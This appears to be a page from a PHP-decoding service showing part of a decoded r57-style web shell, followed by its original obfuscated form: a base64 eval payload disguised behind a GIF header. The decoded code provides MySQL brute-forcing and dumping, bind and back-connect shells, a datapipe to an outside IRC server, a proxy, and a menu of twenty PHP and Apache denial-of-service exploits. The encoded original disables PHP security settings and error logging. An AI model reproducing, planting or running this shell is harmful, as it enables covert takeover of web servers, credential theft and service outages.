echo sr(25,"",in(\'radio\',\'brute_method\',0,\'passwd\',1)."<font face=Verdana size=-2>".$lang[$language.\'_text99\']." ( <a href=".$_SERVER[\'PHP_SELF\']."?users>".$lang[$language.\'_text95\']."</a> )</font>");
echo sr(25,"",in(\'checkbox\',\'reverse id=reverse\',0,\'1\',1).$lang[$language.\'_text101\']);
echo sr(25,"",in(\'radio\',\'brute_method\',0,\'dic\',0).$lang[$language.\'_text135\']);
echo sr(35,"<b>".$lang[$language.\'_text37\'].$arrow."</b>",in(\'text\',\'mysql_l\',8,(!empty($_POST[\'mysql_l\'])?($_POST[\'mysql_l\']):("root"))));
echo sr(25,"<b>".$lang[$language.\'_text135\'].$arrow."</b>",in(\'text\',\'dictionary\',0,(!empty($_POST[\'dictionary\'])?($_POST[\'dictionary\']):($dir.\'/passw.dic\'))));
echo sr(35,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text83\']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.\'_text80\'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.\'_text111\'].$arrow."</b>",in(\'text\',\'db_server\',8,(!empty($_POST[\'db_server\'])?($_POST[\'db_server\']):("localhost"))).\' <b>:</b> \'.in(\'text\',\'db_port\',8,(!empty($_POST[\'db_port\'])?($_POST[\'db_port\']):("3306"))));
echo sr(35,"<b>".$lang[$language.\'_text37\'].\' : \'.$lang[$language.\'_text38\'].$arrow."</b>",in(\'text\',\'mysql_l\',8,(!empty($_POST[\'mysql_l\'])?($_POST[\'mysql_l\']):("root"))).\' <b>:</b> \'.in(\'text\',\'mysql_p\',8,(!empty($_POST[\'mysql_p\'])?($_POST[\'mysql_p\']):("password"))));
echo sr(35,"<b>".$lang[$language.\'_text36\'].$arrow."</b>",in(\'text\',\'mysql_db\',8,(!empty($_POST[\'mysql_db\'])?($_POST[\'mysql_db\']):("mysql"))).\' <b>.</b> \'.in(\'text\',\'mysql_tbl\',8,(!empty($_POST[\'mysql_tbl\'])?($_POST[\'mysql_tbl\']):("user"))));
echo sr(35,in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'mysql_dump\')."<b>".$lang[$language.\'_text41\'].$arrow."</b>",in(\'checkbox\',\'dif id=dif\',0,\'1\').in(\'text\',\'dif_name\',17,(!empty($_POST[\'dif_name\'])?($_POST[\'dif_name\']):("dump.sql"))));
echo sr(35,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt9\']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text83\']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.\'_text80\'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.\'_text111\'].$arrow."</b>",in(\'text\',\'db_server\',8,(!empty($_POST[\'db_server\'])?($_POST[\'db_server\']):("localhost"))).\' <b>:</b> \'.in(\'text\',\'db_port\',8,(!empty($_POST[\'db_port\'])?($_POST[\'db_port\']):("3306"))));
echo sr(35,"<b>".$lang[$language.\'_text37\'].\' : \'.$lang[$language.\'_text38\'].$arrow."</b>",in(\'text\',\'mysql_l\',8,(!empty($_POST[\'mysql_l\'])?($_POST[\'mysql_l\']):("root"))).\' <b>:</b> \'.in(\'text\',\'mysql_p\',8,(!empty($_POST[\'mysql_p\'])?($_POST[\'mysql_p\']):("password"))));
echo sr(35,"<b>".$lang[$language.\'_text39\'].$arrow."</b>",in(\'text\',\'mysql_db\',8,(!empty($_POST[\'mysql_db\'])?($_POST[\'mysql_db\']):("mysql"))));
echo sr(35,"<b>".$lang[$language.\'_text84\'].$arrow."</b>".in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'db_query\'),"");
echo $te."<div align=center id=\'n\'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST[\'db_query\'])?($_POST[\'db_query\']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\'])."</div>";
echo "</td>".$fe."</tr></div></table>";
}
if(!$safe_mode &&$unix){
echo $table_up1.div_title($lang[$language.\'_text81\'],\'id37\').$table_up2.div(\'id37\').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text9\']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.\'_text10\'].$arrow."</b>",in(\'text\',\'port\',10,\'11457\'));
echo sr(40,"<b>".$lang[$language.\'_text11\'].$arrow."</b>",in(\'text\',\'bind_pass\',10,\'r57\'));
echo sr(40,"<b>".$lang[$language.\'_text20\'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in(\'hidden\',\'dir\',0,$dir));
echo sr(40,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt3\']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text12\']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.\'_text13\'].$arrow."</b>",in(\'text\',\'ip\',15,((getenv(\'REMOTE_ADDR\')) ?(getenv(\'REMOTE_ADDR\')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.\'_text14\'].$arrow."</b>",in(\'text\',\'port\',15,\'11457\'));
echo sr(40,"<b>".$lang[$language.\'_text20\'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in(\'hidden\',\'dir\',0,$dir));
echo sr(40,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt4\']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text22\']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.\'_text23\'].$arrow."</b>",in(\'text\',\'local_port\',10,\'11457\'));
echo sr(40,"<b>".$lang[$language.\'_text24\'].$arrow."</b>",in(\'text\',\'remote_host\',10,\'irc.dalnet.ru\'));
echo sr(40,"<b>".$lang[$language.\'_text25\'].$arrow."</b>",in(\'text\',\'remote_port\',10,\'6667\'));
echo sr(40,"<b>".$lang[$language.\'_text26\'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in(\'hidden\',\'dir\',0,$dir));
echo sr(40,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt5\']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>Proxy</div></b></font>";
echo sr(40,"<b>".$lang[$language.\'_text10\'].$arrow."</b>",in(\'text\',\'proxy_port\',10,\'31337\'));
echo sr(40,"<b>".$lang[$language.\'_text26\'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in(\'hidden\',\'dir\',0,$dir));
echo sr(40,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt5\']));
echo $te."</td>".$fe."</tr></div></table>";
}
echo $table_up1.div_title($lang[$language.\'_text140\'],\'id38\').$table_up2.div(\'id38\').$ts."<tr><td valign=top width=50%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text141\']."</div></b></font>";
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos1\').in(\'submit\',\'submit\',0,\'Recursive memory exhaustion\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos2\').in(\'submit\',\'submit\',0,\'Memory_limit exhaustion in [ pack() ] function\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos3\').in(\'submit\',\'submit\',0,\'BoF in [ unserialize() ] function\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos4\').in(\'submit\',\'submit\',0,\'Limit integer calculate (65535) in ZendEngine\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos5\').in(\'submit\',\'submit\',0,\'SQlite [ dl() ] vulnerability\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos6\').in(\'submit\',\'submit\',0,\'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos7\').in(\'submit\',\'submit\',0,\'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos8\').in(\'submit\',\'submit\',0,\'Apache process killer\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos9\').in(\'submit\',\'submit\',0,\'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos10\').in(\'submit\',\'submit\',0,\'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)\').$fe);
echo $te."</td><td valign=top width=50%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text141\']."</div></b></font>";
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos11\').in(\'submit\',\'submit\',0,\'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos12\').in(\'submit\',\'submit\',0,\'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos13\').in(\'submit\',\'submit\',0,\'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos14\').in(\'submit\',\'submit\',0,\'BoF in [ str_ireplace() ] function (PHP <5.2.x)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos15\').in(\'submit\',\'submit\',0,\'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos16\').in(\'submit\',\'submit\',0,\'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos17\').in(\'submit\',\'submit\',0,\'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos18\').in(\'submit\',\'submit\',0,\'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos19\').in(\'submit\',\'submit\',0,\'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)\').$fe);
echo sr(10,"",$fs.in(\'hidden\',\'cmd\',0,\'dos20\').in(\'submit\',\'submit\',0,\'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)\').$fe);
echo $te."</td></tr></div></table>";
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("R0lGODk7YQ0KIDw/DQogZXJyb3JfcmVwb3J0aW5nKDApOw0KIC8vaGFja2VyDQogLy9oYWNrZXINCiRsYW5ndWFnZT0ndHInOw0KJGF1dGggPSAwOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCkBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTsNCkBpbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCkBpbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCjtlY2hvICcnOw0KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8KEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSE9TlVMTCkgfHwoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpIT1OVUxMKSl7JG9wZW5fYmFzZWRpcj0xO31lbHNleyRvcGVuX2Jhc2VkaXI9MDt9Ow0KZGVmaW5lKCJzdGFydHRpbWUiLEBnZXRtaWNyb3RpbWUoKSk7DQpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQokdmVyc2lvbiA9ICcxLjQzPGJyPiZuYnNwOyZuYnNwOyZuYnNwO2VkaXRlZCA8YnIvPic7DQppZihAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksJzQuMS4wJykgPT0gLTEpDQp7DQokX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7DQokX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7DQp9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQp7DQpmb3JlYWNoICgkX1BPU1QgYXMgJGs9PiR2KQ0Kew0KJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQp9DQpmb3JlYWNoICgkX0NPT0tJRSBhcyAkaz0+JHYpDQp7DQokX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KfQ0KfQ0KaWYoJGF1dGggPT0gMSkgew0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8bWQ1KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSE9PSRwYXNzKQ0Kew0KaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iSEVMTE8hIicpOw0KaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7DQpleGl0KCI8Yj5BY2Nlc3MgRGVuaWVkPC9iPiIpOw0KfQ0KfQ0KJGhlYWQgPSAnDQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj4NCjx0aXRsZT5IYWNrZXIgU2hlbGw8L3RpdGxlPg0KPFNUWUxFPg0KDQp0ciB7DQoNCkJPUkRFUi1SSUdIVDogIGJsYWNrIDFweCBzb2xpZDsNCg0KQk9SREVSLVRPUDogICAgYmxhY2sgMXB4IHNvbGlkOw0KDQpCT1JERVItTEVGVDogICBibGFjayAxcHggc29saWQ7DQoNCkJPUkRFUi1CT1RUT006IGJsYWNrIDFweCBzb2xpZDsNCg0KQk9SREVSLUNPTE9SOiBibGFjazsNCg0KY29sb3I6IHNpbHZlcjsNCg0KfQ0KDQp0ZCB7DQoNCkJPUkRFUi1SSUdIVDogIGJsYWNrIDFweCBzb2xpZDsNCg0KQk9SREVSLVRPUDogICAgYmxhY2sgMXB4IHNvbGlkOw0KDQpCT1JERVItTEVGVDogICBibGFjayAxcHggc29saWQ7DQoNCkJPUkRFUi1CT1RUT006IGJsYWNrIDFweCBzb2xpZDsNCg0KQk9SREVSLUNPTE9SOiBibGFjazsNCg0KYmFja2dyb3VuZC1jb2xvcjpibGFjazsNCg0KY29sb3I6IHdoaXRlOw0KDQp9DQoNCg0KDQoudGFibGUxIHsNCg0KQk9SREVSOiAwcHg7DQoNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCg0KQkFDS0dST1VORC1DT0xPUjogYmxhY2s7DQoNCmNvbG9yOiB3aGl0ZTsNCg0KfQ0KDQoudGQxIHsNCg0KQk9SREVSOiAwcHg7DQoNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCg0KZm9udDogN3B0IFZlcmRhbmE7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6IGJsYWNrOw0KDQpjb2xvcjogZ3JlZW47DQoNCn0NCg0KLnRyMSB7DQoNCkJPUkRFUjogMHB4Ow0KDQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQoNCmNvbG9yOiAjNTBBQTIwOw0KDQp9DQoNCnRhYmxlIHsNCg0KQk9SREVSOiAgI2VlZWVlZSAxcHggb3V0c2V0Ow0KDQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMzEzMTM7DQoNCmNvbG9yOiAjNTBBQTIwOw0KDQp9DQoNCmlucHV0IHsNCg0KYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQoNCmJvcmRlci1jb2xvcgkJOiAjMkQyRDJEICMyNTI1MjUgIzI1MjUyNSAjMjUyNTI1Ow0KDQpCQUNLR1JPVU5ELUNPTE9SOiBibGFjazsNCg0KZm9udDogOHB0IFZlcmRhbmE7DQoNCmNvbG9yOiByZWQ7DQoNCn0NCg0Kc2VsZWN0IHsNCg0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7DQoNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KDQpCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsNCg0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7DQoNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCg0KQkFDS0dST1VORC1DT0xPUjogIzEzMTMxMzsNCg0KZm9udDogOHB0IFZlcmRhbmE7DQoNCmNvbG9yOiB3aGl0ZTs7DQoNCn0NCg0Kc3VibWl0IHsNCg0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMzEzMTM7DQoNCndpZHRoOiAzMCU7DQoNCmNvbG9yOiB3aGl0ZTsNCg0KfQ0KDQp0ZXh0YXJlYSB7DQoNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOw0KDQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsNCg0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQoNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOw0KDQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6IGJsYWNrOw0KDQpmb250OiBGaXhlZHN5cyBib2xkOw0KDQpjb2xvcjogc2lsdmVyOw0KDQp9DQoNCkJPRFkgew0KDQpTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM0NDQ0NDQ7DQoNClNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjNDQ0NDQ0Ow0KDQptYXJnaW46IDFweDsNCg0KY29sb3I6ICM1MEFBMjA7DQoNCmJhY2tncm91bmQtY29sb3I6ICMxMzEzMTM7DQoNCn0NCg0KLm1haW4gew0KDQptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsNCg0KYm9yZGVyCQkJOiAjMDAwMDAwIHNvbGlkIDFweDsNCg0KQk9SREVSLUNPTE9SOiAjMzMzMzMzOw0KDQp9DQoNCi50dCB7DQoNCmJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KDQp9DQoNCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQoNCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQoNCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KDQo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPg0KZnVuY3Rpb24gaGlkZV9kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOw0KfQ0KZnVuY3Rpb24gc2hvd19kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdibG9ja1wnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsNCn0NCmZ1bmN0aW9uIGNoYW5nZV9kaXZzdChpZCkNCnsNCiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQ0KICAgIHNob3dfZGl2KGlkKTsNCiAgZWxzZQ0KICAgIGhpZGVfZGl2KGlkKTsNCn0NCg0KDQo8L3NjcmlwdD4nOw0KY2xhc3MgemlwZmlsZQ0Kew0KdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID9nZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQppZiAoJHRpbWVhcnJheVsneWVhciddIDwxOTgwKSB7DQokdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQokdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQp9DQpyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLTE5ODApIDw8MjUpIHwoJHRpbWVhcnJheVsnbW9uJ10gPDwyMSkgfCgkdGltZWFycmF5WydtZGF5J10gPDwxNikgfA0KKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwxMSkgfCgkdGltZWFycmF5WydtaW51dGVzJ10gPDw1KSB8KCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PjEpOw0KfQ0KZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwkbmFtZSwkdGltZSA9IDApDQp7DQokbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkbmFtZSk7DQokZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KJGhleGR0aW1lID0gJ1x4Jy4kZHRpbWVbNl0gLiRkdGltZVs3XQ0KLidceCcuJGR0aW1lWzRdIC4kZHRpbWVbNV0NCi4nXHgnLiRkdGltZVsyXSAuJGR0aW1lWzNdDQouJ1x4Jy4kZHRpbWVbMF0gLiRkdGltZVsxXTsNCmV2YWwoJyRoZXhkdGltZSA9ICInLiRoZXhkdGltZSAuJyI7Jyk7DQokZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiRmciAgIC49ICJceDE0XHgwMCI7DQokZnIgICAuPSAiXHgwMFx4MDAiOw0KJGZyICAgLj0gIlx4MDhceDAwIjsNCiRmciAgIC49ICRoZXhkdGltZTsNCiR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsNCiR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsMCxzdHJsZW4oJHpkYXRhKSAtNCksMik7DQokY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KJGZyICAgICAgLj0gcGFjaygnVicsJGNyYyk7DQokZnIgICAgICAuPSBwYWNrKCdWJywkY19sZW4pOw0KJGZyICAgICAgLj0gcGFjaygnVicsJHVuY19sZW4pOw0KJGZyICAgICAgLj0gcGFjaygndicsc3RybGVuKCRuYW1lKSk7DQokZnIgICAgICAuPSBwYWNrKCd2JywwKTsNCiRmciAgICAgIC49ICRuYW1lOw0KJGZyIC49ICR6ZGF0YTsNCiR0aGlzIC0+ZGF0YXNlY1tdID0gJGZyOw0KJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KJGNkcmVjIC49ICJceDAwXHgwMCI7DQokY2RyZWMgLj0gIlx4MTRceDAwIjsNCiRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KJGNkcmVjIC49ICJceDA4XHgwMCI7DQokY2RyZWMgLj0gJGhleGR0aW1lOw0KJGNkcmVjIC49IHBhY2soJ1YnLCRjcmMpOw0KJGNkcmVjIC49IHBhY2soJ1YnLCRjX2xlbik7DQokY2RyZWMgLj0gcGFjaygnVicsJHVuY19sZW4pOw0KJGNkcmVjIC49IHBhY2soJ3YnLHN0cmxlbigkbmFtZSkgKTsNCiRjZHJlYyAuPSBwYWNrKCd2JywwICk7DQokY2RyZWMgLj0gcGFjaygndicsMCApOw0KJGNkcmVjIC49IHBhY2soJ3YnLDAgKTsNCiRjZHJlYyAuPSBwYWNrKCd2JywwICk7DQokY2RyZWMgLj0gcGFjaygnVicsMzIgKTsNCiRjZHJlYyAuPSBwYWNrKCdWJywkdGhpcyAtPm9sZF9vZmZzZXQgKTsNCiR0aGlzIC0+b2xkX29mZnNldCArPSBzdHJsZW4oJGZyKTsNCiRjZHJlYyAuPSAkbmFtZTsNCiR0aGlzIC0+Y3RybF9kaXJbXSA9ICRjZHJlYzsNCn0NCmZ1bmN0aW9uIGZpbGUoKQ0Kew0KJGRhdGEgICAgPSBpbXBsb2RlKCcnLCR0aGlzIC0+ZGF0YXNlYyk7DQokY3RybGRpciA9IGltcGxvZGUoJycsJHRoaXMgLT5jdHJsX2Rpcik7DQpyZXR1cm4NCiRkYXRhIC4NCiRjdHJsZGlyIC4NCiR0aGlzIC0+ZW9mX2N0cmxfZGlyIC4NCnBhY2soJ3YnLHNpemVvZigkdGhpcyAtPmN0cmxfZGlyKSkgLg0KcGFjaygndicsc2l6ZW9mKCR0aGlzIC0+Y3RybF9kaXIpKSAuDQpwYWNrKCdWJyxzdHJsZW4oJGN0cmxkaXIpKSAuDQpwYWNrKCdWJyxzdHJsZW4oJGRhdGEpKSAuDQoiXHgwMFx4MDAiOw0KfQ0KfQ0KZnVuY3Rpb24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcykNCnsNCmdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCmdsb2JhbCAkbWltZV90eXBlOw0KaWYgKCRjb21wcmVzcyA9PSAnYnppcCcmJkBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgDQp7DQokZmlsZW5hbWUgIC49ICcuYnoyJzsNCiRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQokZmlsZWR1bXAgPSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQp9DQplbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAnJiZAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSANCnsNCiRmaWxlbmFtZSAgLj0gJy5neic7DQokY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOw0KJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KJGZpbGVkdW1wID0gZ3plbmNvZGUoJGZpbGVkdW1wKTsNCn0NCmVsc2UgaWYgKCRjb21wcmVzcyA9PSAnemlwJyYmQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSANCnsNCiRmaWxlbmFtZSAuPSAnLnppcCc7DQokbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQokemlwZmlsZSA9IG5ldyB6aXBmaWxlKCk7DQokemlwZmlsZSAtPmFkZEZpbGUoJGZpbGVkdW1wLHN1YnN0cigkZmlsZW5hbWUsMCwtNCkpOw0KJGZpbGVkdW1wID0gJHppcGZpbGUgLT5maWxlKCk7DQp9DQplbHNlIA0Kew0KJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KfQ0KfQ0KZnVuY3Rpb24gbW9yZXJlYWQoJHRlbXApew0KZ2xvYmFsICRsYW5nLCRsYW5ndWFnZTsNCiRzdHI9Jyc7D